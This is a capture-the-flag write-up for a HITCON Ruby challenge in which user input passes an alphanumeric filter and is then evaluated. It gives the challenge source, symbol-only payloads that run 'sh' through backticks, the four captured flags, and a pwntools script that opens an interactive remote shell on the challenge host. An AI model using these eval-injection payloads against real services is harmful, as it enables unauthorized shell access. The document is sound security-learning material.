I decided to spend some time on this challenge given my little ruby experience; figured I could learn a thing or two. The source for the challenge showed that the logic consisted of two real stages. The user input was first checked for size and content. It was then passed to the eval command, and the first 64 bytes is printed back to the user. This challenge was worth a total of 200 points, with 50 pts being awarded for each flag that was retrieved using increasingly smaller input, 1024, 64, 36, and 10. The tricky part to this challenge was that the input had to be free of alphanumerics.

[sourcecode language=”ruby”] #!/usr/bin/env ruby

fail ‘flag?’ unless File.file?(‘flag’)

$stdout.sync = true

limit = ARGV[0].to_i
puts "Hi, I can say #{limit} bytes :P"
s = $stdin.gets.strip!

if s.size > limit || s[/[[:alnum:]]/] puts ‘oh… I cannot say this, maybe it is too long or too weird :(‘
exit
end

puts "I think size = #{s.size} is ok to me."
r = eval(s).to_s
r[64..-1] = ‘…’ if r.size > 64
puts r[/sourcecode]

Without being able to use alphanumerics, I assumed that command injection would have to be achieved using built-in variables that consisted solely of symbols. After a little googling, I found a reference describing the global variables in ruby. I also stumbled across an article by a guy who decided to program various ruby programs without using alphanumerics.

After some more research, I discovered you can run a shell command from ruby by surrounding it in backticks. Perusing the built-in variables, I found $: provides an array of paths. The first of these paths was

/home/shik/.rbenv/versions/2.2.3/lib/ruby/site_ruby/2.2.0

I realized I could create a substring of this path to create the string ‘sh’ and execute it using backtricks.
Using, the articles I had found, I came up with my initial input of

input = ‘_=$.+$.;`#{$:[_][_*_+_.._*_*_-$.]}`’

With a length of 35 characters I was able to get the first three keys. To get the last one, I would have to do better. Since half of the required 10 characters will be required to execute a command and interpolate a ruby variable, I assumed there had to be some trick inside the C shell itself to execute a shell. Reading the documentation for built-in C shell variables and some trial and error, I discovered that the $ symbol followed by a number would print the command line argument at the given index. It also just so happened that the first argument, $0, is always sh. Armed with this knowledge, all I had to do was find a way to get 0 from one of the built-in ruby variables. From my previous input, I knew $. always equals 1.

From my previous input, I knew $. always equals 1. Subtracting it from itself would give me my 0 but that would be 11 bytes, 1 byte too many. I knew I would need to use unary operators. After a couple combinations, I found the right one.

input = ‘`$#{~-$.}`’

[sourcecode language=”ruby”] #hitcon{what does the ruby say? @#$%!@&(%!#$&(%!@#$!$?…}
#hitcon{Ruby in Peace m(_ _)m}
#hitcon{My cats also know how to code in ruby :cat:}
#hitcon{It’s hard to say where ruby went wrong QwO}

from pwn import *

conn = remote(‘54.199.215.185’,9001)

#input = ‘_=$.+$.;`#{$:[_][_*_+_.._*_*_-$.]}`’
#input = ‘`$#{$.-$.}`’
input = ‘`$#{~-$.}`’
print conn.recv()

print "[+] Sending: " + input
conn.send(input + "n")

conn.interactive()
conn.close()[/sourcecode]